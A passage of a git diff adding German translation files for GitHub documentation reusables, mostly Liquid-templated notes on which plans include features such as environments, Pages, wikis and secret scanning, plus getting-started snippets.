+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101984"
+---
+
+{% data reusables.gated-features.enterprise-accounts %} 
+
+Webhooks, die für Unternehmenskonten oder für Organisationen, die einem Unternehmenskonto angehören, konfiguriert sind, umfassen ein `enterprise`-Kontoobjekt.
diff --git a/translations/de-DE/data/reusables/gated-features/environments.md b/translations/de-DE/data/reusables/gated-features/environments.md
new file mode 100644
index 0000000000..f4a5f53361
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/environments.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9db9f73b8e86138d18bae1a3b9c71fd956553dcd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147548120"
+---
+Umgebungen, Umgebungsgeheimnisse und Umgebungsschutzregeln sind in **öffentlichen** Repositorys für alle Produkte verfügbar. Für den Zugriff auf Umgebungen, Umgebungsgeheimnisse und Bereitstellungsbranches in **privaten** oder **internen** Repositorys musst du {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} oder {% data variables.product.prodname_enterprise %} verwenden. Für den Zugriff auf andere Umgebungsschutzregeln in **privaten** oder **internen** Repositorys musst du {% data variables.product.prodname_enterprise %} verwenden. {% data reusables.gated-features.more-info %}
diff --git a/translations/de-DE/data/reusables/gated-features/generated-health-checks.md b/translations/de-DE/data/reusables/gated-features/generated-health-checks.md
new file mode 100644
index 0000000000..8ee37bd786
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/generated-health-checks.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bff9cd48bd38493094b976c3890e41c917dea22e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101975"
+---
+Das Generieren einer Integritätsprüfung ist mit {% data variables.contact.premium_support %} verfügbar. Weitere Informationen findest du unter [Informationen zu {% data variables.contact.premium_support %}](/support/learning-about-github-support/about-github-premium-support).
diff --git a/translations/de-DE/data/reusables/gated-features/ghas.md b/translations/de-DE/data/reusables/gated-features/ghas.md
new file mode 100644
index 0000000000..3e7ebf14f0
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/ghas.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b0d09d3cb9de735d049e22eae7c9a7abe11c871d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147525721"
+---
+{% data variables.product.prodname_GH_advanced_security %} ist für Unternehmenskonten auf {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} und {% data variables.product.prodname_ghe_server %} verfügbar.{% ifversion fpt or ghec %} Einige Features von {% data variables.product.prodname_GH_advanced_security %} sind auch für öffentliche Repositorys auf {% data variables.product.prodname_dotcom_the_website %} verfügbar. Weitere Informationen findest du unter [Informationen zu GitHub-Produkten](/github/getting-started-with-github/githubs-products)."{% else %} Weitere Informationen zu deiner {% data variables.product.prodname_ghe_server %}-Instanz findest du unter [Informationen zu Upgrades auf neue Releases](/admin/overview/about-upgrades-to-new-releases). Verwende den [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade), um den Upgradepfad aus deinem aktuellen Release zu ermitteln.{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/historical-insights-for-projects.md b/translations/de-DE/data/reusables/gated-features/historical-insights-for-projects.md
new file mode 100644
index 0000000000..1f2e2f4104
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/historical-insights-for-projects.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f28c558acbb1dacd503964146c0522145d44948b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109345"
+---
+Verlaufsdiagramme sind mit {% data variables.product.prodname_team %} oder {% data variables.product.prodname_ghe_cloud %} für Organisationen verfügbar. Du kannst eine unbegrenzte Anzahl von Diagrammen in privaten Projekten mit {% data variables.product.prodname_team %} und {% data variables.product.prodname_ghe_cloud %} für Organisationen bzw. {% data variables.product.prodname_pro %} für Benutzer*innen speichern. Benutzer*innen und Organisationen, die ein öffentliches Projekt verwenden, können außerdem eine unbegrenzte Anzahl von Diagrammen speichern. Benutzer*innen und Organisationen mit {% data variables.product.prodname_free_team %} oder einem Legacy-Plan können zwei Diagramme in privaten Projekten speichern.  {% data reusables.gated-features.more-info %}
diff --git a/translations/de-DE/data/reusables/gated-features/hosted-runners.md b/translations/de-DE/data/reusables/gated-features/hosted-runners.md
new file mode 100644
index 0000000000..dab12e9c1c
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/hosted-runners.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 54a0c4cae87acc79c4d4763521f11da1a37cd2d6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109342"
+---
+Das Feature der {% data variables.actions.hosted_runner %} befindet sich für Organisationen und Unternehmen mit dem {% data variables.product.prodname_team %}- oder {% data variables.product.prodname_ghe_cloud %}-Tarif zurzeit in der Betaversion und kann noch geändert werden. Um Zugriff auf die Betaversion anzufordern, besuche die [Registrierungsseite](https://github.com/features/github-hosted-runners/signup).
diff --git a/translations/de-DE/data/reusables/gated-features/more-info-org-products.md b/translations/de-DE/data/reusables/gated-features/more-info-org-products.md
new file mode 100644
index 0000000000..d52281a6e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/more-info-org-products.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1b4fbc66b0491f7fa6b9e013608b5febe7492ba6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101968"
+---
+{% ifversion fpt or ghec %}Weitere Informationen findest du unter [{% data variables.product.prodname_dotcom %}-Produkte](/get-started/learning-about-github/githubs-products).{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/more-info.md b/translations/de-DE/data/reusables/gated-features/more-info.md
new file mode 100644
index 0000000000..5573e78a63
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/more-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1b4fbc66b0491f7fa6b9e013608b5febe7492ba6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101964"
+---
+{% ifversion fpt or ghec %}Weitere Informationen findest du unter [{% data variables.product.prodname_dotcom %}-Produkte](/get-started/learning-about-github/githubs-products).{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/multiple-pr-reviewers.md b/translations/de-DE/data/reusables/gated-features/multiple-pr-reviewers.md
new file mode 100644
index 0000000000..c84673c06c
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/multiple-pr-reviewers.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9d96af5e394c815780d17f6e846dc44b38eed707
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101963"
+---
+Die Möglichkeit, mehrere Pull Request-Reviewer hinzuzufügen oder Reviews von Teams anzufordern, ist in öffentlichen Repositorys mit {% data variables.product.prodname_free_team %} für Organisationen und ältere Abrechnungspläne nach Repository und in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %},{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} und {% data variables.product.prodname_ghe_cloud %} verfügbar. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/packages.md b/translations/de-DE/data/reusables/gated-features/packages.md
new file mode 100644
index 0000000000..bc6d1e808d
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/packages.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes < 3.5 %} 
+{% data variables.product.prodname_registry %} is available with {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} 3.0 or higher, and {% data variables.product.prodname_ghe_managed %}.{% ifversion ghes %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %}
+{% ifversion fpt or ghec %} 
+<br>{% data variables.product.prodname_registry %} is not available for private repositories owned by accounts using legacy per-repository plans. Also, accounts using legacy per-repository plans cannot access the {% data variables.product.prodname_container_registry %} since these accounts are billed by repository. {% data reusables.gated-features.more-info %}
+{% endif %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/pages.md b/translations/de-DE/data/reusables/gated-features/pages.md
new file mode 100644
index 0000000000..332b28a761
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/pages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 158286d001d99618cea0196c560fed395ff94077
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876793"
+---
+{% ifversion ghae %}{% data variables.product.prodname_pages %} steht in internen und privaten Repositorys mit {% data variables.product.prodname_ghe_managed %} zur Verfügung. {% endif %}{% data variables.product.prodname_pages %} ist in öffentlichen Repositorys mit {% data variables.product.prodname_free_user %} und {% data variables.product.prodname_free_team %} für Organisationen sowie in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} verfügbar. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/protected-branches.md b/translations/de-DE/data/reusables/gated-features/protected-branches.md
new file mode 100644
index 0000000000..82dc9cd758
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/protected-branches.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3706543ba6e429a4a8ebd40aaf3979bd8cf90a12
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884891"
+---
+{% ifversion ghae %}Geschützte Zweige sind in internen und privaten Repositorys mit {% data variables.product.prodname_ghe_managed %} verfügbar, {% else%}geschützte Zweige sind {% endif %}in öffentlichen Repositorys mit {% data variables.product.prodname_free_user %} und {% data variables.product.prodname_free_team %} für Organisationen und in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, und {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/repository-insights.md b/translations/de-DE/data/reusables/gated-features/repository-insights.md
new file mode 100644
index 0000000000..1516c0d3df
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/repository-insights.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4e77d47c1150c81c883f88a4a0228c8b7be105db
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101944"
+---
+Dieser Graph mit Repositoryerkenntnissen ist in öffentlichen Repositorys mit {% data variables.product.prodname_free_user %} und {% data variables.product.prodname_free_team %} für Organisationen und in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %}{% endif %} und {% data variables.product.prodname_ghe_server %} verfügbar.{% ifversion fpt or ghec %} Weitere Informationen findest du unter [Informationen zu Repositorygraphen](/articles/about-repository-graphs) und unter [{% data variables.product.prodname_dotcom %}-Produkte](/articles/github-s-products).{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/restrict-email-domain.md b/translations/de-DE/data/reusables/gated-features/restrict-email-domain.md
new file mode 100644
index 0000000000..3116e452cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/restrict-email-domain.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 506af58cb6ad5407077714487fa76228e37c719d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101939"
+---
+Die Einschränkung von E-Mail-Benachrichtigungen auf genehmigte oder überprüfte Domänen ist mit {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} verfügbar. Weitere Informationen findest du bei den [GitHub-Produkten](/articles/githubs-products).
diff --git a/translations/de-DE/data/reusables/gated-features/secret-scanning-partner.md b/translations/de-DE/data/reusables/gated-features/secret-scanning-partner.md
new file mode 100644
index 0000000000..8c5b57d912
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/secret-scanning-partner.md
@@ -0,0 +1,13 @@
+{%- ifversion fpt %}
+{% data variables.product.prodname_secret_scanning_partner_caps %} is automatically run on public repositories in all products on {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_secret_scanning_GHAS_caps %} is available for repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghec %}
+{% data variables.product.prodname_secret_scanning_partner_caps %} is automatically run on all public repositories. If you have a license for {% data variables.product.prodname_GH_advanced_security %}, you can enable and configure {% data variables.product.prodname_secret_scanning_GHAS %} for any repository owned by an organization.
+
+{%- elsif ghes %}
+{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghae %}
+{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release).
+
+{%- endif %} {% ifversion not ghae %}{% data reusables.advanced-security.more-info-ghas %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/secret-scanning.md b/translations/de-DE/data/reusables/gated-features/secret-scanning.md
new file mode 100644
index 0000000000..747881e510
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/secret-scanning.md
@@ -0,0 +1,9 @@
+<!--This reusable describes the GHAS secret scanning feature. For a reusable that also covers the free secret scanning for public repositories on GitHub.com, use `secret-scanning-partner.md`  -->
+
+{%- ifversion ghec or ghes %}
+{% data variables.product.prodname_secret_scanning_GHAS_caps %} is available for organization-owned repositories in {% data variables.product.product_name %} if your enterprise has a license for {% data variables.product.prodname_GH_advanced_security %}.
+
+{%- elsif ghae %}
+{% data variables.product.prodname_secret_scanning_caps %} is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release).
+
+{%- endif %} {% ifversion not ghae %}{% data reusables.advanced-security.more-info-ghas %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/security-overview.md b/translations/de-DE/data/reusables/gated-features/security-overview.md
new file mode 100644
index 0000000000..ec25070008
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/security-overview.md
@@ -0,0 +1,9 @@
+{% ifversion fpt %}
+The security overview is available for organizations that use {% data variables.product.prodname_enterprise %}. For more information, see "[GitHub's products](/articles/githubs-products)."
+{% elsif security-overview-displayed-alerts %}
+All organizations and enterprises have a security overview. If you use {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghae %}, which is free during the beta release,{% endif %} you will see additional information. {% data reusables.advanced-security.more-info-ghas %}
+{% elsif ghes < 3.7 %}
+The security overview for your organization is available if you have a license for {% data variables.product.prodname_GH_advanced_security %}. {% data reusables.advanced-security.more-info-ghas %}
+{% elsif ghae %}
+A security overview for your enterprise and for organizations is available if you use {% data variables.product.prodname_GH_advanced_security %}, which is free during the beta release. {% data reusables.advanced-security.more-info-ghas %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/tag-protection-rules.md b/translations/de-DE/data/reusables/gated-features/tag-protection-rules.md
new file mode 100644
index 0000000000..2086bc2a34
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/tag-protection-rules.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ba5b674ce01da292f28086fd2b30c6e4cb5dbd36
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881812"
+---
+{% ifversion ghae %}Tagschutzregeln stehen in internen und privaten Repositorys mit {% data variables.product.prodname_ghe_managed %}, {% else%}Tagschutzregeln stehen {% endif %}in öffentlichen Repositorys mit {% data variables.product.prodname_free_user %} und {% data variables.product.prodname_free_team %} für Organisationen sowie in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} zur Verfügung. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/user-repo-collaborators.md b/translations/de-DE/data/reusables/gated-features/user-repo-collaborators.md
new file mode 100644
index 0000000000..10a4f00b27
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/user-repo-collaborators.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4fd9cde2f71877d09b3ecc74fffd4785ee13d9da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101920"
+---
+{% ifversion fpt %} Wenn du {% data variables.product.prodname_free_user %} verwendest, kannst du unbegrenzt Mitarbeiter für öffentliche und private Repositorys hinzufügen.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/gated-features/verify-and-approve-domain.md b/translations/de-DE/data/reusables/gated-features/verify-and-approve-domain.md
new file mode 100644
index 0000000000..e5ce2a6ad3
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/verify-and-approve-domain.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 97b624176b4e25d5dfab279c529bea68cfcd95cc
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101923"
+---
+Die Überprüfung und Genehmigung von Domänen ist mit {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} verfügbar. Weitere Informationen findest du bei den [GitHub-Produkten](/articles/githubs-products).
diff --git a/translations/de-DE/data/reusables/gated-features/wikis.md b/translations/de-DE/data/reusables/gated-features/wikis.md
new file mode 100644
index 0000000000..28fda45488
--- /dev/null
+++ b/translations/de-DE/data/reusables/gated-features/wikis.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ef2e78485e05d963b845bf3457a487d0ad5f5415
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882103"
+---
+{% ifversion ghae %}Wikis stehen in internen und privaten Repositorys mit {% data variables.product.prodname_ghe_managed %} zur Verfügung.{% endif %} Wikis stehen in internen und privaten Repositorys mit {% data variables.product.prodname_free_user %} und {% data variables.product.prodname_free_team %} für Organisationen, und in öffentlichen und privaten Repositorys mit {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} und {% data variables.product.prodname_ghe_server %} zur Verfügung. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %}
diff --git a/translations/de-DE/data/reusables/gcm-core/next-time-you-clone.md b/translations/de-DE/data/reusables/gcm-core/next-time-you-clone.md
new file mode 100644
index 0000000000..06e9d9479b
--- /dev/null
+++ b/translations/de-DE/data/reusables/gcm-core/next-time-you-clone.md
@@ -0,0 +1 @@
+The next time you clone an HTTPS URL that requires authentication, Git will prompt you to log in using a browser window. You may first be asked to authorize an OAuth app.{% ifversion not ghae %} If your account or organization requires [two-factor auth](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa), you'll also need to complete the 2FA challenge.{% endif %}
diff --git a/translations/de-DE/data/reusables/getting-started/about-and-creating-teams.md b/translations/de-DE/data/reusables/getting-started/about-and-creating-teams.md
new file mode 100644
index 0000000000..04857c4c46
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/about-and-creating-teams.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 0081e7ed6ac3ea5d455bf3ad32a3db53bbcac4e3
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879195"
+---
+Teams sind Gruppen von Organisationsmitgliedern, die du erstellen kannst, um die Struktur deines Unternehmens oder deiner Gruppe mit kaskadierenden Zugriffsberechtigungen und Erwähnungen widerzuspiegeln. Organisationsmitglieder können Benachrichtigungen an ein Team senden oder Reviews anfordern, und Teams können sichtbar oder geheim sein. Weitere Informationen findest du unter [Informationen zu Teams](/organizations/organizing-members-into-teams/about-teams).
+
+Du kannst unabhängige Teams erstellen oder mehrere Ebenen geschachtelter Teams erstellen, die die Hierarchie deiner Gruppe oder deines Unternehmens widerspiegeln. Weitere Informationen findest du unter [Erstellen eines Teams](/organizations/organizing-members-into-teams/creating-a-team).
diff --git a/translations/de-DE/data/reusables/getting-started/actions.md b/translations/de-DE/data/reusables/getting-started/actions.md
new file mode 100644
index 0000000000..c655219426
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/actions.md
@@ -0,0 +1 @@
+With {% data variables.product.prodname_actions %}, you can automate and customize {% data variables.location.product_location %}'s development workflow on {% data variables.product.product_name %}. You can create your own actions, and use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
diff --git a/translations/de-DE/data/reusables/getting-started/adding-members-to-organizations.md b/translations/de-DE/data/reusables/getting-started/adding-members-to-organizations.md
new file mode 100644
index 0000000000..42d5f43d6f
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/adding-members-to-organizations.md
@@ -0,0 +1 @@
+You can add members to organizations in {% data variables.location.product_location %} as long as you are an organization owner in the organizations you want to manage. You can also configure visibility of organization membership. For more information, see "[Adding people to your organization](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)" and "[Configuring visibility for organization membership](/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership)."
diff --git a/translations/de-DE/data/reusables/getting-started/api.md b/translations/de-DE/data/reusables/getting-started/api.md
new file mode 100644
index 0000000000..f432c1a68c
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/api.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 761f2da5cae500cf45000b3f45772f0a71cc9bbd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101892"
+---
+Es gibt zwei Versionen der {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API: die REST-API und die GraphQL-API. Du kannst die {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-APIs verwenden, um gängige Aufgaben zu automatisieren, [deine Daten zu sichern](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository/backing-up-a-repository) oder {% ifversion fpt or ghec %}[Integrationen zu erstellen](/github/customizing-your-github-workflow/exploring-integrations/about-integrations){% else %}Integrationen zu erstellen{% endif %}, die {% data variables.product.product_name %} erweitern. Weitere Informationen findest du unter [Informationen zu den APIs von {% data variables.product.prodname_dotcom %}](/developers/overview/about-githubs-apis).
diff --git a/translations/de-DE/data/reusables/getting-started/bearer-vs-token.md b/translations/de-DE/data/reusables/getting-started/bearer-vs-token.md
new file mode 100644
index 0000000000..a03d171aee
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/bearer-vs-token.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 43a23bdc9abc48a087e62f93a6d01a1aaabe0eb0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109337"
+---
+In den meisten Fällen kannst du `Authorization: Bearer` oder `Authorization: token` verwenden, um ein Token zu übergeben. Wenn du jedoch ein JWT (JSON Web Token) übergibst, musst du `Authorization: Bearer` verwenden.
diff --git a/translations/de-DE/data/reusables/getting-started/being-social.md b/translations/de-DE/data/reusables/getting-started/being-social.md
new file mode 100644
index 0000000000..7f898c3241
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/being-social.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 45a5e54589c8c07a71852ff1b67ca008c5b7c44e
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879825"
+---
+Jedes Repository auf {% data variables.product.prodname_dotcom %} gehört einer Person oder einer Organisation. Du kannst mit den Personen, Repositorys und Organisationen interagieren, indem du eine Verbindung herstellst und sie auf {% data variables.product.product_name %} verfolgst. Weitere Informationen findest du unter [Soziale Interaktion](/articles/be-social).
diff --git a/translations/de-DE/data/reusables/getting-started/configuring-security-features.md b/translations/de-DE/data/reusables/getting-started/configuring-security-features.md
new file mode 100644
index 0000000000..be2ff1bb50
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/configuring-security-features.md
@@ -0,0 +1 @@
+To keep {% ifversion ghes or ghae %}the organizations in {% data variables.location.product_location %}{% else %}your organization{% endif %} secure, you can use a variety of {% data variables.product.prodname_dotcom %} security features, including security policies, dependency graphs, secret scanning and Dependabot security and version updates. For more information, see "[Securing your organization](/code-security/getting-started/securing-your-organization)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
diff --git a/translations/de-DE/data/reusables/getting-started/contact-support-enterprise.md b/translations/de-DE/data/reusables/getting-started/contact-support-enterprise.md
new file mode 100644
index 0000000000..0f710a7e64
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/contact-support-enterprise.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6688b599c725cf819ee0e2533bdbc484392408c6
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101880"
+---
+{% data variables.product.product_name %} enthält Zugriff auf {% data variables.contact.enterprise_support %}. {% data variables.contact.enterprise_support %} kann dir helfen, Probleme zu behandeln, die auf {% data variables.product.product_name %} angezeigt werden. {% ifversion ghes %}Du kannst sich auch für zusätzliche Features für {% data variables.product.prodname_dotcom %}-Premiumsupport anmelden. {% endif %}Weitere Informationen findest du unter [Informationen zu {% data variables.contact.enterprise_support %}](/admin/enterprise-support/overview/about-github-enterprise-support).
diff --git a/translations/de-DE/data/reusables/getting-started/contact-support.md b/translations/de-DE/data/reusables/getting-started/contact-support.md
new file mode 100644
index 0000000000..5bc64f53c7
--- /dev/null
+++ b/translations/de-DE/data/reusables/getting-started/contact-support.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2fddf4855770755a8ceb747b822ad68aef2469fc
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147888258"
+---
+Der {% data variables.contact.github_support %} kann dir helfen, Probleme zu beheben, auf die du bei der Verwendung von {% data variables.product.prodname_dotcom %} stößt. Weitere Informationen findest du unter [Informationen zu {% data variables.contact.github_support %}](/github/working-with-github-support/about-github-support).
diff --git a/translations/de-DE/data/reusables/getting-started/contributing-to-projects.md b/translations/de-DE/data/reusables/getting-started/contributing-to-projects.md
new file mode 100644
